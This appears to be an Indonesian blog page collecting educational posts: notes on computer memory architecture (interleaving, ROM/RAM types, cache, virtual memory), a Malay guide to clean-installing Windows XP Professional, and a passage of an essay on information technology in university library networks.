Minggu, 30 Desember 2007

ARSITEKTUR SISTEM MEMORI

I. TEKNOLOGI DAN BIAYA SISTEM MEMORI


Ada 2 teknologi yang mendominasi industri memori sentral dan memori utama, yaitu :


 


a.       Memori Magnetic Core (tahun 1960)


Sel penyimpanan yang ada dalam memori inti dibuat dari elemen besi yang berbentuk donat yang disebut magnetic core (inti magnetis) atau hanya disebut core saja.


Para pembuat(pabrikan) yang membuat core ini menyusun core plane bersama dengan sirkuit lain yang diperlukan, menjadi memori banks(bank memori).


 


b.      Memori Solid State


Komputer yang pertama diproduksi untuk tujuan komersil adaalah UNIVAC dimana :


·  CPU nya menggunakan teknologi vacuum tube (tabung hampa udara) dan menjalankan aritmatika decimal.


·  Memori utamanya 1000 word (setiap word besarnya 60 bit dan menyimpan 12 karakter 5 bit)


 II. ORGANISASI MEMORI



  • Salah satunya adalah menggunakan Inteleaving dimana tujuannya adalah untuk meningkatkan kecepatan pengaksesan system penyimpanan yang besar.

  • Sistem penyimpanan yang besar terdiri atas beberapa bank memori independent yang diakses oleh CPU dan peralatan I/O melalui pengontrolan port memori


Contoh : Cross bar switch


 


Sistem penyimpanan menggunakan Interleave High Order



  • Setiap bank (penyimpanan) berisi blok alamat yang berurutan.

  • Setiap peralatan, termasuk CPU, menggunakan bank memori yang berbeda untuk program dan datanya, maka semua bank dapat mentransfer data secara serentak.


 


Sistem penyimpanan menggunakan Interleave Low Order



  • Alamat yang berurutan berada dalam bank yang terpisah, sehingga setiap peralatan perlu mengakses semua bank selagi menjalankan programnya atau mentransfer data.


Contohnya : suatu siklus memori lebih lama daripada waktu siklus CPU.



  • Apabila word yang berurutan berada dalam bank yang berbeda, maka system penyimpanan bila dilengkapi dengan putaran yang cocok dapat melengkapi akses memori yang berurutan, dengan kata lain setelah CPU meminta untuk mengakses word pertama yang disimpan dalam salah satu bank, maka ia dapat bergerak ke bank kedua dan mengawali akses word kedua sementara penyimpanan tetap mendapatkan kembali word pertama sementara penyimpanan tetap mendapatkan kembali word pertama.Pada CPU kembali ke bank pertama, system penyimpanan diharapkan telah menyelesaikan mengakses word pertama dan telah siap mengakses lagi.

  • Banyak komputer berkinerja tinggi menggunakan Inteleave Low Order


III. JENIS MEMORIa. Memory Read Only (ROM)



  • Peralatan memori yang dapat dibaca namun tidak dapat ditulis oleh CPU


Contoh : Switch Mekanis (computer menggunakannya untuk menyimpan konstansta yang digunakan untuk menentukan konfigurasi system(jumlah memori utama).



  • PROM (Programming Read Only Memory) adalah ROM yang diprogram oleh pabrik pembuatnya dan kita tidak bisa mengubah isinya.

  • EPROM (Erasable PROM) adalah ROM yang dapat dihapus dengan menggunakan sinar ultraviolet dan kemudian deprogram kembali.

  • EAROM(Electrically Alterable ROM) ROM yang dapat deprogram oleh computer dengan menggunakan operasi arus tinggi (high current) khusus, digunakan untuk menyimpan informasi yang jarang sekali berubah, contohnya : informasi konfigurasi.


b.      Memory Read / WriteMemori Read/Write dapat diklasifikasikan menurut sifat pengoperasiannya adalah : 1.      Sifat Fisik v     Statis lawan Dinamis 


Static RAM (SRAM)


·  Untuk setiap word apabila telah ditulis tidak perlu lagi dialamatkan atau dimanipulasi untuk menyimpan nilainya.


·  Tidak perlu penyegaran


·  Dibentuk dari flip-flop yang nmeggunakan arus kecil untuk memelihara logikanya.


·  Digunakan untuk register CPU dan peralatan penyimpanan berkecepatan tinggi.


·  Merupakan sirkuit memori semikonduktor yang cepat dan mahal.


 


Dynamic RAM (DRAM)


·  Dibentuk dari kapasitor (peralatan yang digunakan untuk menyimpan muatan listrik) dan transistor


·  Menggunakan sirkuit pembangkit


·  Waktu siklusnya 2 kali access time (waktu access baca) yaitu waktu yang dibutuhkan untuk memanggil kembali data dari peralatan.


·  Perlu penyegaran




v     Volatil lawan Non-Volatil Memori Volatile


Membutuhkan sumber daya yang terus menerus untuk menyimpan nilainya. Contoh : RAM Static dan Dynamic


  Memori Non Volatile


Tidak membutuhkan sumber daya yang terus menerus untuk menyimpan nilainya.


Contoh : ROM


  v     Read Destruktif lawan Read Non-Destruktif Memori Read Destruktif


·  Apabila dalam proses membaca word memori tersebut juga menghancurkan nilainnya.


·  Mempunyai 2 fase operasi yaitu read cycle dan restore cycle


·  Selama akses baca system penyimpan pertama kali akan membaca word dan selama akses tulis system penyimpanan pertama kali akan membaca word, yang mengakibatkan waku akses baca akan lebih pendek daripada waktu tulis.


   Contoh : DRAM


 Memori Read Non-Destruktif


·  Dalam proses membaca word, memori tersebut tidak dapat dihancurkan.


·  Contohnya : SRAM dan ROM


 v     Removable lawan Permanen Memori Removable


·  Memori yang elemen aktifnya dapat dikeluarkan dari hardware system.


·  Contoh : disket.


 Memori Non Removable


·  Memori yang elemen aktifnya tidak dapat dikeluarkan dari hardware system.


·  Contoh : RAM dan hard disk


 2.      Organisasi Logis



  • Teralamatkan (addressed)


Memori yang menggunakan alamat untuk menentukan sel yang dibaca dan ditulis.



  • Asosiatif


Memori yang menggunakan isi dari bagian word untuk menentukan sel yang dibaca atau ditulis



  • Akses Urut


Memori yang menggunakan piya magnetis untuk mengakses data secara urut.


 3.      Memori Archival



  • Memori non volatile yang dapat menyimpan banyak data dengan biaya yang sangat sedikit dan dalam jangka waktu yang lama.Contoh : Tape(Pita), Disk dan Disk Optis

  • Disk Optis menyimpan data dengan mengubah secara internal sifat reflektif dari bidang kecil yang ada pada disk dan membaca data dengan cara mendeteksi secara visual yang telah diubah.

  • WORM Memori (Word Once Read Many Times) ideal untuk menyimpan archival, karena bila sekali telah ditulis ia secara fungsional menjadi ROM.


 IV. SISTEM MEMORI UTAMA



  • Tahun 1960-an para programmer system mengembangkan system pengoperasian multiprogramming, yang memanfaatkan atau menggunakan memori utama yang sangat besar.

  • Komputer yang hanya mempunyai satu system memori utama dikatakan mempunyai one-level strorage system(system penyimpanan tingkat satu)

  • Komputer yang mempunyai memori virtual menggunakan multilevel storage system (system penyimpanan bertingkat)

  • Penyimpanan multilevel mempunyai memori sentral(internal) yaitu memori utama dan register CPU sebagai primary memory dan peralatan penyimpanan eksternal seperti hardisk dan disket sebagai secondary memory memori sekunder.


 V. RELOKASI PROGRAM DAN PROTEKSI MEMORI



  • Multiprogramming adalah cara yang tepat untuk meningkatkan kegunaan CPU dengan cara memungkinkan beberapa tugas berada dalam memori pada waktu yang bersamaan.

  • Berhasilnya multiprogramming ditentukan antara lain oleh :


o       Relokasi Program-         Dengan cara menmpatkan program dimana saja dalam memori -         Initial Program Relocation (Relokasi Program Awal) adalah proses merelokasi program tempat system pengoperasian pertama kali.-         Dynamic Program Relocation (Relokasi Program Dinamis) adalah system pengoperasian dapat memindahkan program dari suatu tempat ke tempat yang lain dalam memori utama setelah program dijalankan.o       Proteksi Program-         Mencegah suatu program mengakses memori yang telah diberikan oleh system pengoperasian ke program yang lain.-         Contoh relokasi program dan proteksi adalah IBM System/360 dan CDC 6600-         IBM System/360§         Menggunakan Register Base untuk merelokasi program§         Menggunakan relokasi program awal§         Menggunakan key-controlled memory protection untuk proteksi memori.-         CDC 6600§         Mempunyai register khusus yaitu Relocation Address (RA/Register Alamat Relokasi) untuk merelokasi program.§         Menggunakan relokasi program awal VI. MEMORI CACHE·  Buffer berkecepatan tinggi yang digunakan untuk menyimpan data yang diakses pada saat itu dan data yang berdekatan dalam memori utama.·  Memori akses random (RAM) berkecepatan tinggi yang ditempatkan diantara system memori dan pemakaiannya untuk mengurangi waktu akses efektif dari system memori.·  Dengan memasukan memori chace antara peralatan cepat dan system memori yang lebih lambat, perancangan ini dapat memberikan system memori yang cepat.·  Kegunaan Memori Cache adalah :w Program cenderung menjalankan instruksi yang berurutan, menyebabkan instruksi tersebut berada didekat lokasi memori.w Program biasanya mempunyai simpul untuk tempat menjalankan kelompok instruksi secara berulang-ulang.w Compiler menyimpan array dalam blok lokasi memori yang bersebelahan.w Compiler biasanya menempatkan item data yang tidak berhubungan didalam segmen data.·  Cache terdiri dari sejumlah cache entries(entry cache) dan setiap entri cache terdiri dari 2 yaituo       Memori Cache§         merupakan SRAM berkecepatan tinggi§         data yang disimpan merupakan kopi dari data memori utama yang terpilih pada saat itu atau data yang baru disimpan yang belum berada didalam memori.o       Address Tag (Tag Alamat)§         Menunjukan alamat fisik data yang ada dalam memori utama dan beberapa informasi valid ·  Cara kerja Cache adalah :



  •  

    • Ketika CPU mengakses memori maka system penyimpanan akan mengirim alamat fisik ke cache

    • Membandingkan alamat fisik tersebut dengan semua tag alamat untuk mengetahui apakah ia menyimpan kopi dari sebuah data.

    • Cache HIT adalah situasi yang terjadi ketika peralatan meminta akses memori ke word yang telah ada didalam memori cache tersebut secara cepat megembalikan item data yang diminta.

    • Cache MISS adalah situasi yang terjadi ketika peralatan meminta akses ke data yang tidak berada dalam cache, cache akan menjemput item tersebut dari memori, dimana hal ini mebutuhkan waktu yang lebih lama dari cache hit.

    • Jika cache tidak menyimpan data, maka akan terjadi cache miss dan cache akan menyampaikan alamat ke system memori utama untuk membaca.

    • Jika data yang dating dari memori utama, maka CPU atau cache akan menyimpan kopinya dengan diberi tag alamat yang tepat.




 ·  Ada 2 sebab mengapa cache bekerja dengan baik :§        Cache beroperasi secara paralel dengan CPU- Word tambahan yang dimuatkan setelah terjadi cache miss tidak akan mengganggu kinerja CPU.§        Prinsip Lokalitas Referensi- CPU akan meminta data baru·  Setiap cache mempunyai dua sub system yaitu :§        Tag Subsystem- Menyimpan alamat dan menentukan apakah ada kesesesuaian data yang diminta.§        Memory subsistem-    Menyimpan dan mengantarkan data. 



  • Memori Cache menggunakan teknik pemetaan yang berbeda untuk memetakan alamat memori ke dalam alamat lokalnya, yaitu :


§        Cache Asosiatif-    Disebut juga Fully Associative Cache. -    Menyimpan tagnya di dalam memori asosiatif atau memori yang ekuivalen secara fungsional-    Cache dapat menempatkan sembarang jalur refill selama akses memori-    Membandingkan alamat yang ada dengan semua alamat yang disimpan§        Direct Mapped Cache (Cache yang dipetakan langsung)-    Membagi memory utama menjadi K kolom dengan N refill line per kolomnya§        Set Cache Asosiatif-    Mengkombinasikan organisasi asosiatif dan direct (langsung)-    Mengorganisir memori utama dan memorinya sendiri menjadi kolom jalur refil N§        Sector Mapped Cache (Cache yang dipetakan sector)-    Merupakan modifikasi dari cache asosiatif -    Jalur refill memori utama dan cache dikelompokan menjadi sector yang disebut row(baris) VI. MEMORI VIRTUAL



  • Ada 2 teknik yang digunakan memori virtual utnuk memetakan alamat efektif kedalam alamat fisik yaitu :


 §        Paging-    Adalah teknik yang berorientasi hardware untuk mengelola memori fisik -    Menggunakan paging agar program besar dapat berjalan pada komputer yang mempunyai fisik kecil.-    Hardware memori virtual membagi alamat logis menjadi 2 yaitu virtual page number dan word offset.-    Membagi alamat logis dan memori menjadi page yang berukuran tertentu. §        Segmentasi-    Adalah teknik yang berorientasi pada struktur logis dari suatu program.-    Membagi alamat logis dan memori menjadi page yang ukuran berubah-ubah.-    Segmen yang berisi kode prosedur disebut kode segmen dan yang berisi data disebut data segmen Perbedaan Paging dengan Segmentasi adalah :§        Paging berorientasi pada hardware dan segmentasi pada struktur logis dari suatu program.§        Segmen cenderung jauh lebih besar dari paging.§        Segmen mempunyai jangkauan ukuran page dan page hanya mempunyai satu ukuran tertentu untuk suatu system tertentu.§        Dalam segmentasi seluruh program tidak perlu dibuat sebagai modul tunggal untuk diisikan ke dalam memori sebagai sebuah unit§        Dalam segmentasi, alamat logis mempunyai 2 bagian, yaitu segement number dan byte offset. VII. MASALAH DESIGN MEMORI



  • Kecepatan Memori lawan kecepatan CPU :


§  Awal tahun 1960 – 1980, kecepatan memori dan CPU meningkat, namun rasio keseluruhan antara keduanya relatif.§  Pada era ini kecepatan memori biasanya kurang lebih 10 kali lebih lambat dari kecepatan CPU.§  CDC:6600, 7600, CRAY 1 dan CRAY X-MP untuk super komputer waktu akses memorinya 10 sampai 14 waktu siklus CPU.§  VAX 11/780, 8600 dan 8700 untuk mini computer waktu akses memorinya 4 sampai 7 kali siklus CPU§  Pertengahan tahun 1980, kecepatan CPU jauh lebih meningkat hingga 50 kali kecepatan memori, contoh CRAY§  Keuntungan dari perubahan ini adalah :§  Memori besar umumnya memerlukan hardware khusus untuk mendeteksi dan mengoreksi kesalahan, yang menambah waktu akses memori efektif.§  CPU yang paling cepat merupakan pipelined. 



  • Ruang Alamat Memori :


§  Semakin besar ruang alamat memori yang disediakan maka akan semakin baik namun harus diperhatikan pula bahwa dalam perubahan tersebut tidak harus merubah secara keseluruhan dan mendasar daripada arsitektur yang telah dibangun.  



  • Keseimbangan antara kecepatan dan biaya :


§  Sifat dari Teknologi Memori-         Harga unitnya turun dengan sangat cepat, sedangkan kecepatannya secara perlahan meningkat.-         Adanya berbagai kecepatan dan biaya dalam peralatan memori§  Ada tiga penggunaan teknologi RAM dalam system computer untuk memanfaatkan variasi ini adalah :-         Peralatan lambat, murah untuk memori utama-         Peralatan cepat untuk cache-         Peralatan sangat cepat, mahal untuk register



  • Memori dalam system computer dapat dibagi menjadi tiga kelompok, yaitu :



  1.  

    1. Internal Processor Memory

    2. Main Memory (Primary Memory)

    3. Secondary Memory (Auxiliary/Backing Memory)





  • Karakteristik Memori :


§   Access Time§   Access Modes§   Alterability§   Permanence of Storage§   Cycle Time and Data Transfer Rate§   Physical Characteristics



  • Metode Akses :


§   Random Access Memory Lokasi memori dapat dicapai secara acak dan waktu akses tidak bergantung pada lokasi yang sedang diakses§   Serial Access MemoryMekanisme akses digunakan bersama-sama oleh seluruh lokasi


Continue reading...

Langkah-langkah Installasi Windows XP Professional

Terdapat banyak cara untuk memasang Windows XP pada stesen kerja. Jika anda memasang dengan memformat cakera keras, kemudian boot komputer melalui CD-ROM, cara ini dipanggil sebagai clean install. Anda perlu menjalankan clean install jika:


» Komputer anda menggunakan Windows 3.0, Windows 3.11, Windows 95 dan Windows 3.51

» Komputer anda tidak menggunakan produk dari Microsoft

» Komputer anda masih belum mempunyai sistem operasi


Mari saya mulakan dengan menjalankan instalasi Windows XP dari CD. Saya akan mengganggap komputer anda belum mempunyai apa-apa sistem operasi di dalamnya.


1. Hidupkan PC anda dan masukkan CD-ROM Windows XP Professional ke dalam piring. Anda perlulah terlebih dahulu mengaturkan supaya sistem anda dapat boot melalui CD-ROM.


2. Selepas komputer selesai menjalankan POST, rutin setup untuk Windows XP akan bermula. Lihat gambarajah di bawah berikut:



Awalan program menunjukkan proses penyalinan fail-fail yang diperlukan oleh Windows XP. Semasa proses ini dijalankan, program setup akan memuatkan Windows XP (versi minima) sebelum dapat memulakan program setup. Secara spesifik, saat ini Windows akan memuatkan pemacu (driver) bagi kegunaan perkakasan yang tertentu.


3. Sebaik sahaja program setup selesai memuatkan kesemua fail-fail pemacu yang diperlukan, anda kan dapat melihat senarai jadual partition bagi sistem anda. Lihat gambarajah di bawah:



Gambarajah di atas menunjukkan sistem anda masih belum mempunyai partition. Untuk mencipta partition, anda boleh menggunakan utiliti ini. NOTA: Jika sistem anda sudah mempunyai partition, anda boleh membuang partition tersebut dan menggantikan dengan partition yang baru.


Untuk membuang partition, tekan butang D. Untuk mencipta partition, tekan butang C.


4. Apabila anda memilih untuk mencipta partition baru, anda akan di bawa ke paparan berikut.



Gambarajah di atas menunjukkan paparan Partition. Anda diberi pilihan untuk meletakkan saiz partition yang ingin diciptakan. Jika anda tidak memahami maksud partition, saya mencadangkan anda menggunakan keseluruhan saiz partition secara maksima, tekan butang Enter untuk ke peringkat seterusnya. NOTA: Perlu diingat Windows XP memerlukan saiz cakera keras sekurang-kurangnya 1.5GB.


5. Kemudian, anda akan ditanya bentuk format bagi partition baru anda. Terdapat beberapa pilihan format iaitu NTFS (Quick), FAT (Quick), NTFS, dan FAT. Pilih jenis format yang dikehendaki dan tekan butang Enter untuk ke peringkat seterusnya.



6. Setelah anda memilih jenis format, program setup akan memulakan proses format pada partition yang diciptakan. Bergantung kepada saiz partition dan jenis sistem fail yang dipilih, proses ini akan mengambil masa antara 1 hingga 10 minit untuk selesai.



Gambarajah di atas menunjukkan proses memformat partition.


7. Kemudian Windows XP akan memulakan proses menyalin fail-fail sumber Windows XP dari CD ke dalam partition baru. Proses ini akan mengambil beberapa minit.



Gambarajah proses menyalin fail-fail Windows ke dalam cakera keras.


8. Setelah selesai menyalin fail-fail Windows, sistem akan reboot. Setelah komputer anda selesai reboot, program setup akan bertukar ke mod GUI, saat ini sistem akan mengenalpasti dan memasang perkakasan yang terdapat di dalam PC anda. Pada proses ini juga akan menyebabkan skrin anda berkedip-kedip untuk beberapa kali kerana sistem cuba untuk mengenalpasti jenis kad video yang sedang digunakan.



9. Semasa dalam mod GUI, anda akan ditanya untuk memeriksa setting Regional dan Language. Anda juga perlu memasukkan Product Key bagi Windows XP. Nombor Product Key ini boleh didapati di label CD Windows XP.



10. Klik butang Next. Pada paparan berikutnya, masukkan nama komputer dan kata laluan Administrator. Klik butang Next, dan pada paparan seterusnya, pilih Time Zone bagi kawasan anda.


11. Pada langkah berikutnya, anda akan menetapkan konfigurasi pada Network Settings, terdapat dua pilihan diberikan: Typical dan Custom. Jika anda memilih Typical settings, sistem anda akan dipasangkan dengan komponen-komponen berikut:


- Client for Microsoft Networks

- QoS Packet Scheduler

- File and Print Sharing for Microsoft Networks

- TCP/IP, configured for DHCP


Jika anda memilih Custom settings, anda akan diberi peluang untuk menambah dan menetapkan konfigurasi network secara manual. Anda tidak perlu risau tentang ini, jika anda melakukan kesilapan pada konfigurasi, anda masih boleh mengubahnya kemudian.



Gambarajah di atas menunjukkan konfigurasi Network Settings.


12. Berikutnya, anda perlu menetapkan jenis network yang ingin disertai, sama ada Workgroup atau Domain. Jika anda memilih untuk menyertai Domain, anda akan ditanya untuk memasukkan maklumat username serta kata laluan bagi mengesahkan identiti anda. Kemudian klik butang Next.



Gambarajah di atas menunjukkan paparan untuk memilih Workgroup atau Domain.


13. Sekarang anda bolehlah membiarkan sistem anda menyalinkan fail-fail yang diperlukan. Semasa proses penyalinan ini, sistem anda akan memasang program-program ke dalam Start Menu, mendaftarkan komponen Windows dan membuang fail-fail sementara dari Temporary folder.



14. Apabila proses setup hampir siap, sistem anda akan melakukan kemaskini dan reboot. Jika semuanya berada dalam keadaan baik, sistem anda terus akan memuatkan Windows XP Professional dan anda bolehlah menggunakan sistem operasi baru anda. Lakukan pemasangan perisian-perisian pihak ketiga seperti program utiliti, perisian pejabat, aplikasi internet sebaik sahaja anda berjaya memasuki desktop Windows XP.


Continue reading...

TEKNOLOGI INFORMASI DALAM SISTEM JARINGAN PERPUSTAKAAN PERGURUAN TINGGI

TEKNOLOGI INFORMASI DALAM SISTEM JARINGAN


PERPUSTAKAAN PERGURUAN TINGGI



 PENDAHULUAN



Istilah teknologi informasi (selanjutnya disingkat TI),
sering dijumpai, baik dalam media grafik, seperti surat kabar dan majalah,
maupun media elektronik, seperti radio dan televisi. Istilah tersebut merupakan
gabungan dua istilah dasar yaitu teknologi dan informasi.
Teknologi dapat diartikan sebagai pelaksanaan ilmu, sinonim dengan ilmu
terapan. Sedangkan pengertian informasi menurut Oxfoord English
Dictionary
, adalah "that of which one is apprised or told;
intelligence, news
". Kamus lain menyatakan bahwa, informasi adalah
sesuatu yang dapat diketahui. Namun, ada pula yang menekankan informasi
sebagai transfer pengetahuan. Adanya perbedaan definisi informasi dikarenakan,
pada hakekatnya, informasi tidak dapat diuraikan (intangible), sedangkan
informasi itu dijumpai dalam kegiatan sehari-hari, yang diperoleh dari
data dan dari observasi terhadap dunia sekitar kita serta diteruskan melalui
komunikasi. Secara simpel, definisi TI dapat diartikan sebagai teknologi
yang digunakan untuk menyimpan, menghasilkan, mengolah, serta menyebarkan
informasi. Definisi tersebut menganggap bahwa TI tergantung pada kombinasi
komputasi dan teknologi telekomunikasi berbasis mikroelektronik.



Sedangkan istilah jaringan perpustakaan, berarti
suatu sistem hubungan antar perpustakaan, yang diatur dan disusun menurut
berbagai bentuk persetujuan, yang memungkinkan komunikasi dan pengiriman
secara terus menerus informasi bibliografis maupun informasi-informasi
lainnya, baik berupa bahan dokumentasi maupun ilmiah. Selain itu, jaringan
perpustakaan juga menyangkut pertukaran keahlian, menurut jenis dan tingkat
yang telah disepakati. Jaringan ini biasanya berbentuk organisasi formal,
terdiri atas dua perpustakaan atau lebih, dengan tujuan yang sama. Untuk
mencapai tujuan tersebut, disyaratkan untuk menggunakan teknologi telekomunikasi
dan komputer atau TI.



Kerjasama perpustakaan dalam bentuk jaringan ini penting
agar semua informasi yang tersedia dapat dimanfaatkan bersama secara maksimal
bagi pemakai. Henderson (1998:98) menyebutkan manfaat itu antara lain:
menyediakan akses yang cepat dan mudah meskipun melalui jarak jauh; menyediakan
akses pada informasi yang tak terbatas dari berbagai jenis sumber; menyediakan
informasi yang lebih mutakhir yang dapat digunakan secara fleksibel bagi
pemakai sesuai kebutuhannya; serta memudahkan format ulang dan kombinasi
data dari berbagai sumber.



 



PERPUSTAKAAN ELEKTRONIK



Perpustakaan elektronik merupakan sarana penyimpanan informasi,
dokumen, audio visual, dan materi grafis yang tercipta dalam berbagai jenis
media. Media dimaksud berkisar dari mulai slide, film, video, compact audio
disc, audio tapes, optical disc, pita magnetis, disket dan floppy
disc, serta lainnya yang tengah dikembangkan.



Perpustakaan elektronik merupakan bagian dari sebuah jaringan
kerja (network). Secara teoritis, pemakai dapat memperoleh salinan
elektronik sebuah dokumen dari mana pun juga, asal tak ada kendala keamanan,
politik, ekonomi dan sosial.



Beberapa faktor yang perlu dipertimbangkan bagi terbentuknya
perpustakaan elektronik adalah:




  1. Interaksi dan sirkulasi perpustakaan. Apakah pemakai
    berinteraksi dengan semua perpustakaan ataukah dengan perpustakaan tertentu,
    atau bahkan melalui sistem hirarki perpustakaan ? Apakah jasa perpustakaan
    cukup dilakukan melalui titik jasa lebih kecil ataukah melalui cabang,
    kemudian diteruskan ke simpanan informasi lebih besar ?


  2. Bentuk fisik mata rantai pemakai (user link),
    yaitu mata rantai komunikasi antara pemakai dengan perpustakaan. Apakah
    pemakai datang sendiri ke perpustakaan ataukah menggunakan telepon, menulis
    surat, menggunakan kabel televisi, satelit, videotex, teletex, transmisi
    faksimil, pos elektronik dan sarana lainnya, atau justeru gabungan berbagai
    sarana untuk mengkomunikasikan permintaannya kepada perpustakaan? Manakah
    yang memerlukan desain khusus dalam hubungan antarmuka (inter-face)
    pamakai, komunikasi dengan mesin ataukah person to person ?


  3. Menarik iuran atau mengatur distribusi dana. Jaringan
    tidak saja memerlukan mata rantai telekomunikasi, tetapi juga niat organisasi
    yang ikut serta dalam jaringan untuk beroperasi sebagai mata rantai. Untuk
    ini, perlu dikembangkan kebijakan mengenai titik jasa atau perpustakaan
    elektronik yang bertanggung jawab atas sumber serta bagaimana caranya sumber
    itu dimanfaatkan oleh pihak lain, apakah perlu diadakan prioritas atau
    tidak. Bagaimana pemakai membayar sumber? Bagaimana distribusi dana di
    antara perpustakaan? Ini semua menyangkut masalah ekonomis yang berkaitan
    dengan semua pihak.


  4. Bentuk jaringan. Bagaimana bentuk jaringan berdasarkan
    situasi sistem perpustakaan dewasa ini?



Apa yang dikelola pustakawan pada dasarnya adalah pengetahuan
tercetak. Namun dengan adanya informasi digital, terjadilah pergeseran
makna dari pengetahuan. Sekarang pengetahuan lebih dilihat sebagai kemampuan
dinamis untuk menghubungkan, mengubah dan menggunakan ide atau pemikiran.
Dalam era digital, konsep pengetahuan dicerminkan dengan perangkat komunikasi
modern, yaitu jaringan komputer. Apa yang kemarin disebut pengetahuan,
mungkin saat ini hanyalah informasi yang dapat dikombinasikan dengan pemikiran-pemikiran
baru untuk menjadi pengetahuan yang lebih mutakhir. Dengan kemudahan yang
dimungkinkan oleh adanya jaringan komputer global, maka produksi informasi
akan semakin meledak.



Jaringan informasi internet telah membuat loncatan yang
begitu besar dalam memperpendek waktu transmisi informasi dan begitu luas
persebarannya. Lebih dari 25 juta pemakai dari 100 negara sekarang menggunakan
internet untuk surat elektonik, bulletin board, diskusi, dan mencari
maupun mempertukarkan informasi. Dalam hubungan ini, yang perlu digaris
bawahi adalah kecepatan informasi dari hitungan bulan, minggu, hari, jam,
menit, sampai ke detik, bahkan menjadi bagian dari detikitu sendiri. Jadi,
perkembangan informasi saat ini sudah menggunakan hitungan per detik.



Terdapat pro dan kontra tentang perpustakaan elektronik.
Pihak yang pro memandang ada sejumlah kelebihan perpustakaan elektronik
dibanding perpustakaan tercetak. Kelebihan-kelebihan dimaksud adalah sebagai
berikut:




  1. Mudah ditemukan, yakni dengan mencari melalui kata kunci
    (key word).


  2. Dapat dengan mudah disediakan jika dipasang pada jaringan
    global (internet).


  3. Mudah dihubungkan (hyperlink) dengan hal yang
    terkait.


  4. Dengan publikasi elektronik, karya ilmiah dapat segera
    dipencarkan, begitu selesai ditulis.


  5. Publikasi elektronik dapat menekan biaya penerbitan.



Terlepas dari pro dan kontra tersebut, ternyata kehadiran
publikasi elektronik, khususnya publikasi ilmiah, tidak dapat dihindari.
Hal ini antara lain dapat dilihat dari rekomendasi tentang publikasi elektronik
yang dihasilkan dalam ICSU UNESCO Conference of Experts Electronic Publishing
in Science, Paris, 19-23 February 1996. Beberapa diantaranya yang perlu
disampaikan di sini ialah:




  1. Perlunya mitra bestari (peer review) dan aturan
    pelaksanaan. Praktek mitra bestari hendaknya tetap dilakukan untuk publikasi
    elektronik seperti halnya publikasi tercetak.


  2. Salah satu fungsi publikasi ilmiah adalah juga sebagai
    upaya pelestarian ide ilmiah. Fungsi ini hendaknya tetap dipenuhi oleh
    publikasi elektronik. Konferensi tersebut merekomendasikan pula agar komunitas
    ilmiah, penerbit, dan pustakawan serta ahli informasi hendaknya bersama-sama
    menciptakan prinsip dan pedoman dalam pelestarian elektronik, termasuk
    di dalamnya pemeliharaan, isi kandungan, struktur, pendanaan, keterjangkauan
    dan kompatibelitasnya. Dalam kaitan ini, diharapkan juga adanya kerjasama
    dengan ISO dalam hal standar internasional.


  3. Hendaknya anggaran untuk akses informasi bagi keperluan
    penelitian dan publikasi hasil penelitian menjadi bagian dari anggaran
    penelitian itu sendiri. Selain itu, ditekankan bahwa ketersediaan informasi
    dalam bentuk sistem temu kembali informasi menjadi sangat penting sebagai
    upaya pengembangan efektifitas penelitian maupun pendidikan. Hendaknya
    sistem informasi ilmiah ini mendapat pendanaan yang cukup. Perlu pula dilakukan
    studi biaya dan manfaat publikasi elektronik yang melibatkan wakil dari
    perpustakaan, kalangan ilmuwan dan penerbit.


  4. Walaupun setiap disiplin keilmuan selalu mempunyai prosedur
    pengumpulan dan pemencaran informasi, namun selalu dapat diidentifikasi
    hal-hal mendasar yang hendaknya diketahui masyarakat ilmiah. Latihan dasar
    tentang sumberdaya informasi dan pendayagunaan perpustakaan elektronik
    hendaknya diberikan kepada para ilmuwan. Masyarakat ilmuwan hendaknya diberikan
    sarana komunikasi internasional dan diprioritaskan untuk pertukaran informasi
    ilmiah. Dengan meningkatnya peran ilmuwan dalam publikasi elektronik, hendaknya
    juga diberikan fasilitas pertukaran pengalaman dan keahlian di bidang ini.
    Sebagai langkah pertama ialah penyediaan akses bagi para ilmuwan kepada
    jaringan global (internet).


  5. Kerjasama internasional hendaknya terus dikembangkan,
    terutama karena pada saat ini partisipasi masyarakat ilmiah di negara berkembang
    semakin meningkat. Diharapkan, ICSU dan UNESCO tetap menjadi pelopor dalam
    kerjasama ini. Namun demikian, salah satu kendala dalam hal ini terletak
    pada pendanaan. Oleh karena itu, dukungan lembaga internasional memang
    sangat diharapkan.



 



KEMUNGKINAN UNTUK PERGURUAN TINGGI DI INDONESIA



Gagasan tentang perpustakaan elektronik untuk Indonesia
--saat ini-- mungkin terlalu maju. Sebab, yang tengah dilakukan oleh perpustakaan
dan pusat-pusat informasi di Indonesia saat ini adalah baru pada tahap
membangun jaringan kerjasama dengan kegiatan tukar-menukar informasi (dalam
arti luas) secara hastawi (manual) dan belum berfungsi maksimal. Untuk
menyebut beberapa contoh: sebuah lembaga di bawah Dirjen Dikti Depdikbud,
yakni Unit Koordinasi Kegiatan Perpustakaan (UKKP) pada dekade 1980-an
membentuk 8 Pusat Layanan Disiplin Ilmu (PUSYANDI) yang bertujuan menyediakan
layanan disiplin ilmu bagi pemakai dari seluruh Indonesia. Kalangan IAIN
seluruh Indonesia juga pernah membina kerjasama perpustakaan yang dimulai
pada tahun 1989, dengan kegiatan pertemuan berkala setahun sekali melalui
pertukaran publikasi seperti daftar buku baru, indeks majalah islam, serta
pendidikan tenaga pustakawan selama tiga bulan, yang dipusatkan di IAIN
Syarif Hidayatullah Jakarta. Kerjasama lainnya ialah jaringan komunikasi
dan informasi penelitian antar IAIN, yang bertujuan mengumpulkan laporan
penelitian staf pengajar IAIN serta pertukaran publikasi. Semua kegiatan
kerjasama tersebut masih dilakukan secara hastawi sampai pada akhir dasawarsa
90-an.



Penulis telah mensurvey beberapa perpustakaan perguruan
tinggi di Jakarta dan Surabaya (negeri maupun swasta). Hasilnya menunjukkan,
ada kemajuan dalam penerapan TI untuk kerjasama jaringan informasi (Lihat
tabel). Sistem manual sedikit demi sedikit mulai ditinggalkan, diganti
dengan sistem komputerisasi atau pemanfaatan TI yang tersedia. Kemampuan
menerapkan TI untuk kerjasama jaringan menunjukkan bahwa mereka sebenarnya
sudah siap untuk menjadi perpustakaan elektronik.



 Dari tabel tersebut, terlihat adanya beberapa
piranti penting yang melengkapi syarat suatu perpustakaan elektronik. Namun
demikian, hasil survey menunjukkan hanya ada dua (dari 8 yang disurvey)
perpustakaan yang telah menyediakan pangkalan datanya ke dalam internet,
yaitu Petra dan Ubaya.



 



RANCANG BANGUN SISTEM PERPUSTAKAAN ELEKTRONIK



Ketika membicarakan perpustakaan elektronik, maka penulis
menganggap bahwa pada perpustakaan itu sudah berlangsung sistem komputerisasi
